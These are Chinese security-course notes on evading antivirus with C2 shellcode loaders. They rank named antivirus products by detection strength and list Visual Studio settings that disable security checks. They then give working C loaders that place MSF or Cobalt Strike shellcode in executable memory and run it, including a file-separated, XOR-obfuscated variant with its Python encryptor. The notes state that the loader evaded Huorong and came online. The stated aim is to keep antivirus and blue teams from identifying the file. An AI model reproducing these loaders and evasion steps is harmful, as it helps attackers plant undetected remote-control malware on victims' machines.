小迪安全v2023学习笔记(一百四十七讲)—— C2远控篇CC++ShellCode定性分析生成提取Loader加载模式编译执行
文章目录
- 免杀对抗——第一百四十七天
- C2远控篇&C&C++&ShellCode定性分析&生成提取&Loader加载模式&编译执行
- 前置知识
- 杀软检测病毒逻辑
- 常见杀软及其特点
- 按照静态查杀能力强弱排列
- 按照动态查杀能力强弱排列
- C2远控 - ShellCode-认知&环境
- 什么是ShellCode
- 什么是机器码
- 什么是ShellCode Loader
- 环境配置
- C2远控 - ShellCode-分析&提取
- 案例1:MSF上线ShellCode分析
- 案例2:ShellCode提权-CS上线
- C2远控 - ShellCode-Loader加载
免杀对抗——第一百四十七天
C2远控篇&C&C++&ShellCode定性分析&生成提取&Loader加载模式&编译执行
前置知识
杀软检测病毒逻辑
- 杀软一般通过一下几点来检测恶意软件和行为:
- 静态查杀:最基本的查杀方式,主要通过对文件的特征码进行扫描,匹配已知的病毒特征库。如果发现文件特征码与病毒特征库中的某个病毒特征码相匹配,就判断该文件为病毒;部分杀软会在静态查杀时将程序放入沙箱中运行几秒的方式以检测程序是否是恶意程序。
- 动态(主动)查杀:通过在程序运行时扫描程序内存是否匹配病毒特征的方式主动发现恶意程序。在 EDR 中还会挂钩敏感的 Windows API,在程序调用到被挂钩的 API 时检查函数参数和调用栈以检测恶意程序。
- 云查杀:基本也是特征查杀
- 流量监控:监控网络流量,分析网络数据包,如果发现异常流量或者已知的恶意流量特征,就可能是恶意软件在进行网络活动。
- 行为监控:监控程序的运行行为,如文件操作、注册表操作等。如果发现某个程序的行为超出了正常范围,就可能是恶意软件。
常见杀软及其特点
- 火绒:静态查杀能力弱,没有动态查杀,横向移动防护比较强,frp 等内网穿透受影响。
- 360 安全卫士/360 杀毒:静态查杀能力较强,没有动态查杀,如果开启了核晶模式,则行为查杀比较强,注入进程等敏感行为会被拦截;核晶模式在物理机中默认开启,在虚拟机中默认关闭。
- 360QVM:360QVM 简单的说就是使用了机器学习辅助查杀,在 360 杀毒引擎设置中开启360QVM 后静态查杀会变得非常流氓,有一点特征就会被查杀。
- Windows Defender:静态查杀能力较强,动态查杀较强,监控 HTTP 流量。
- 卡巴斯基:普通版静态查杀能力一般,企业版静态查杀能力较强,动态查杀较强。
- ESET:静态查杀能力较强,没有动态查杀。
按照静态查杀能力强弱排列
- 火绒 < 360 安全卫士、360 杀毒、Windows Defender、卡巴斯基标准版 < 卡巴斯基企业版、ESET < 360QVM
- 目前见过静态查杀能力最强的属 360QVM,连国外的杀软都有所不及,可以说 360QVM是非常流氓的了
按照动态查杀能力强弱排列
- 火绒、360、ESET < 卡巴斯基 < Windows Defender
- 火绒、360、ESET 这几个没有动态查杀
C2远控 - ShellCode-认知&环境
什么是ShellCode
- 一般情况下,攻击者是把获取对方系统的shell作为最终目的,因此实现这个功能的代码叫做ShellCode
- 所以ShellCode其实就是一段系统可以直接识别并执行的二进制代码,为16进制的机器码
什么是机器码
- 那什么是机器码呢?就是计算机可以直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数。机器指令码在计算机中通常被称为代码。
什么是ShellCode Loader
- 一个ShellCode变成EXE可执行程序之前,需要经过ShellCode Loader对其进行处理,否则是没办法加载到内存并执行的
ShellCode --> Loader --> EXE
- 它的一个生成流程如上所示,因此我们在做免杀时可以从三个角度出发:ShellCode本身,Loader加载器以及最后的EXE文件
- 而我们可想而知,这三个方面的免杀肯定也是从易到难的,本节课我们是从ShellCode Loader的角度出发,简单看看效果
环境配置
-
我们这里使用的语言是C&C++,用的编译器为Visual Studio2022,在编写ShellCode代码之前先进行如下配置:
-
创建工程时关闭 SDL 检查

-
属性->C/C+±>代码生成->运行库->多线程 (/MT),如果是 debug 则设置成 MTD
-
属性->C/C+±>代码生成->禁用安全检查 GS

-
关闭生成清单 属性->链接器->清单文件->生成清单 选择否

-
-
比如我们在CS中生成一个Payload,选择生成的语言,然后选择位数即可,将它放到VS中,按照如上要求配置即可开始编写代码了:


-
还有一些更高级的设置:通过Vs配置绕过360QVM,VT全绿
C2远控 - ShellCode-分析&提取
- ShellCode 的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像 exe 一样双击运行,因此需要通过控制程序流程跳转到 shellcode 地址加载上去执行 shellcode。
- 我们的目的是让杀毒软件和感知平台无法定性文件为ShellCode文件,同时也需要让高级蓝队人员无法分析出我们的文件是危险文件
- 杀软和感知平台的判定方法基本根据特征和行为,而蓝队人员分析更多是看它有没有加载一些可疑的进程或者有外连的行为,会通过OD、XDB、IDA、010Editor这些工具去看
- 那我们针对ShellCode的免杀思路大致有如下四种:
- ShellCode 自写打乱
- ShellCode 加密混淆
- ShellCode 分离隐藏
- ShellCode 注入回调
- 其实本质上还是让杀毒软件或感知平台不知道我们这个程序在干嘛
案例1:MSF上线ShellCode分析
-
参考文章:https://www.cnblogs.com/Akkuman/p/12859091.html
-
MSF源码:https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb
-
比如我们利用MSF生成一个C语言的ShellCode,然后看看它是怎么写的:

-
那我们之后就是针对这个ShellCode进行免杀操作
案例2:ShellCode提权-CS上线
- 而对于CS,其实和MSF差不多,我们目前进行免杀都是用原始的payload进行处理:

C2远控 - ShellCode-Loader加载
- 当然,如果只有一个ShellCode是上不了线的,我们还需要Loader加载器,让计算机能够加载这个ShellCode,其实就是让这个程序运行的时候执行这个ShellCode
- 比如这里将一个很简单的汇编代码加载器,代码如下:
#include<Windows.h>
#include<stdio.h>
#include<string.h>/* 32位的ShellCode,length: 798 bytes */
unsigned char buf[] = "xxx";// 因为这里加载器是32位,所以ShellCode也需要使用32位
int main() {// 汇编加载器Loader__asm {lea eax, buf // 将buf加载到eax寄存器call eax // 调用eax寄存器中的数据}
}
- 编译为EXE程序(注意要将其改为Releases x86模式,并且要重新配置上面的编译属性),但是这个好像无法执行,我们需要修改为如下代码:
#include <Windows.h>
#include <stdio.h>
#include <string.h>/* length: 798 bytes */
unsigned char buf[] = "<shellcode>";int main() {// 1. 分配可执行内存页void* exec = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE // 关键:可执行权限);// 2. 复制shellcode到可执行内存memcpy(exec, buf, sizeof(buf));// 3. 执行((void(*)())exec)();// 4. 清理(对于一次性程序可省略)VirtualFree(exec, 0, MEM_RELEASE);return 0;
}
-
如果我们暂时不考虑它的免杀问题,只是简单的看看加载器是如何工作的,那他能够成功上线:

-
但是事实上直接放上去是连火绒都过不了的,原因是因为这里的ShellCode是原封不动的,早就被标记了,我们需要对它进行修改才能尝试绕过
-
比如我们随便弄一个文件分离 + XOR加密混淆看看效果:
#include <Windows.h>
#include <stdio.h>unsigned char xor_key = 0xAA;// 读取二进制文件到内存
unsigned char* read_binary_file(const char* filename, size_t* out_size) {HANDLE hFile = CreateFileA(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE) {return NULL;}// 获取文件大小*out_size = GetFileSize(hFile, NULL);if (*out_size == INVALID_FILE_SIZE) {CloseHandle(hFile);return NULL;}// 分配内存unsigned char* buffer = (unsigned char*)malloc(*out_size);if (!buffer) {CloseHandle(hFile);return NULL;}// 读取文件DWORD bytesRead;if (!ReadFile(hFile, buffer, *out_size, &bytesRead, NULL) || bytesRead != *out_size) {free(buffer);CloseHandle(hFile);return NULL;}CloseHandle(hFile);return buffer;
}int main() {// 读取二进制文件const char* shellcode_file = ".\\x.bin";size_t shellcode_len = 0;unsigned char* file_data = read_binary_file(shellcode_file, &shellcode_len);// 分配可执行内存void* exec_mem = VirtualAlloc(NULL,shellcode_len,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);// 复制并解密memcpy(exec_mem, file_data, shellcode_len);free(file_data);unsigned char* payload = (unsigned char*)exec_mem;for (size_t i = 0; i < shellcode_len; i++) {payload[i] ^= xor_key;}// 打印查看for (int i = 0; i < shellcode_len; i++) {printf("%02X ", payload[i]);}// 执行FlushInstructionCache(GetCurrentProcess(), exec_mem, shellcode_len);((void(*)())exec_mem)();VirtualFree(exec_mem, 0, MEM_RELEASE);return 0;
}
- x.bin文件生成代码如下:
# 将原始shellcode加密并保存为二进制文件
import sys # 你的原始shellcode(字节形式)
raw_shellcode = b"<原始shellcode>" # XOR密钥
key = 0xAA # 加密
encrypted = bytes([b ^ key for b in raw_shellcode]) # 保存为二进制文件(关键:使用'wb'模式)
with open(r".\x.bin", "wb") as f: f.write(encrypted)
-
然后把这两个文件放到同一目录,放到火绒的虚拟机上,可以看到成功免杀并上线:

-
这就是ShellCode Loader的效果,我们的.bin文件就是混淆后的ShellCode,然后解密放到内存加载就是ShellCode Loader,对两个都做免杀才有一个比较理想的效果
